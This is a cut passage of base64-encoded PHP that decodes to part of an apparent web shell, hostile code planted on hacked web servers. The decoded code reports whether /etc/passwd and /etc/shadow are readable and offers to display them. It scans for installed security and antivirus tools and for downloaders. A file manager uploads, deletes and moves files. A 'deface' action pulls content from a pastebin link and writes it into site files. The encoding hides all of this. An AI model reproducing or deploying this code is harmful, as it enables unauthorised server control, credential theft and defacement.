zdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KZnVuY3Rpb24gdmlld1NpemUoJHMpIHsKICAgIGlmKCRzID49IDEwNzM3NDE4MjQpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwogICAgZWxzZWlmKCRzID49IDEwNDg1NzYpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKICAgIGVsc2VpZigkcyA+PSAxMDI0KQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CiAgICBlbHNlCiAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBwZXJtcygkcCkgewogICAgaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsKICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CiAgICBlbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsKICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CiAgICBlbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwogICAgZWxzZSAkaSA9ICd1JzsKICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKICAgIHJldHVybiAkaTsKfQpmdW5jdGlvbiB2aWV3UGVybXNDb2xvcigkZikgeyAKICAgIGlmICghQGlzX3JlYWRhYmxlKCRmKSkKICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKICAgIGVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwogICAgZWxzZQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9IzAwQkIwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7CiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7CiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgewogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRmaWxlczsKICAgIH0KfQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewogICAgICAgICR2ID0gdHJpbSgkdik7CiAgICAgICAgaWYoJHYpIHsKICAgICAgICAgICAgZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JzsKICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCiAgICAgICAgICAgICAgICBlY2hvICR2Lic8YnI+JzsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsKICAgICAgICB9CiAgICB9CiAgICBzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsKICAgIHNob3dTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsKICAgIHNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CiAgICBzaG93U2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOwogICAgJHRlbXA9YXJyYXkoKTsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpCiAgICAgICAgJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKICAgICAgICAkdGVtcFtdID0gIk1TU1FMIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQogICAgICAgICR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCiAgICAgICAgJHRlbXBbXSA9ICJPcmFjbGUiOwogICAgc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwogICAgZWNobyAnPGJyPic7CiAgICBpZiggJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKSB7CiAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CiAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOwogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93Jyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcImV0Y1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7CiAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwogICAgICAgIHNob3dTZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7CiAgICAgICAgaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgewogICAgICAgICAgICBlY2hvICc8YnI+JzsKICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkKICAgICAgICAgICAgICAgIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTt9CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9mc3RhYicpKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIHNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsgCiAgICAgICAgc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyxleCgnbmV0IGFjY291bnRzJykpOyAKICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLGV4KCduZXQgdXNlcicpKTsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ10hPSdkZWZhY2UnKSB7CiAgICAgICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgewogICAgICAgICAgICBjYXNlICd1cGxvYWRGaWxlJzoKICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdta2Rpcic6CiAgICAgICAgICAgICAgICBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOwogICAgICAgICAgICAgICAgICAgICRkaCAgPSBvcGVuZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaXRlbSA9ICRwYXRoLiRpdGVtOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0eXBlID09ICJkaXIiKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7CiAgICAgICAgICAgICAgICAgICAgcm1kaXIoJHBhdGgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmID0gdXJsZGVjb2RlKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkZik7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGYpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdwYXN0ZSc6CiAgICAgICAgICAgICAgICBpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5JykgewogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJF9TRVNTSU9OWydjd2QnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsKICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQogICAgICAgICAgICAgICAgICAgICAgICBAcmVuYW1lKCRfU0VTU0lPTlsnY3dkJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2YnXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICgoJF9QT1NUWydwMSddID09ICdjb3B5Jyl8fCgkX1BPU1RbJ3AxJ10gPT0gJ21vdmUnKSkgKSB7CiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107CiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikKICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZGVjb2RlKCRmKTsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gQCRfUE9TVFsnYyddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxzY3JpcHQ+ZG9jdW1lbnQubWYucDEudmFsdWU9IiI7ZG9jdW1lbnQubWYucDIudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgIH0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nZGVmYWNlJykgewogICAgICAgICRkZWYgPSBmaWxlX2dldF9jb250ZW50cygncGFzdGViaW4uY29tL2Rvd25sb2FkLnBocD9pPW1Kc2E1Q0oxJyk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydjJ10uJF9QT1NUWydwMiddLCRkZWYpOwogICAgfQogICAgJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKICAgIGlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgeyAgICBlY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnOyByZXR1cm47ICAgIH0KICAgIGdsb2JhbCAkc29ydDsKICAgICRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpCiAgICAgICAgICAgICRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7CiAgICB9CiAgICBlY2hvICc8c2NyaXB0PgogICAgICAgIGZ1bmN0aW9uIHNhKCkgewogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgaWYoZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSBcJ2NoZWNrYm94XCcpCiAgICAgICAgICAgICAgICBkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsKICAgICAgICB9CiAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgPHRhYmxlIHdpZHRoPVwnMTAwJVwnIGNsYXNzPVwnbWFpblwnIGNlbGxzcGFjaW5nPVwnMFwnIGNlbGxwYWRkaW5nPVwnMlwnPgogICAgICAgIDxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+JzsKICAgIGVjaG8gIjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwogICAgJGRpcnMgPSAkZmlsZXMgPSAkbGlua3MgPSBhcnJheSgpOwogICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7CiAgICBmb3IoJGk9MDskaTwkbjskaSsrKSB7CiAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sCiAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLAogICAgICAgICAgICAgICAgICAgICAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKICAgICAgICBlbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOwogICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQogICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7CiAgICB9CiAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CiAgICBmdW5jdGlvbiBjbXAoJGEsICRiKSB7CiAgICAgICAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCiAgICAgICAgICAgIHJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIHJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICB9CiAgICB1c29ydCgkZmlsZXMsICJjbXAiKTsKICAgIHVzb3J0KCRkaXJzLCAiY21wIik7CiAgICB1c29ydCgkbGlua3MsICJjbXAiKTsKICAgICRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkbGlua3MsICRmaWxlcyk7CiAgICAkbCA9IDA7CiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgewogICAgICAgIGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXB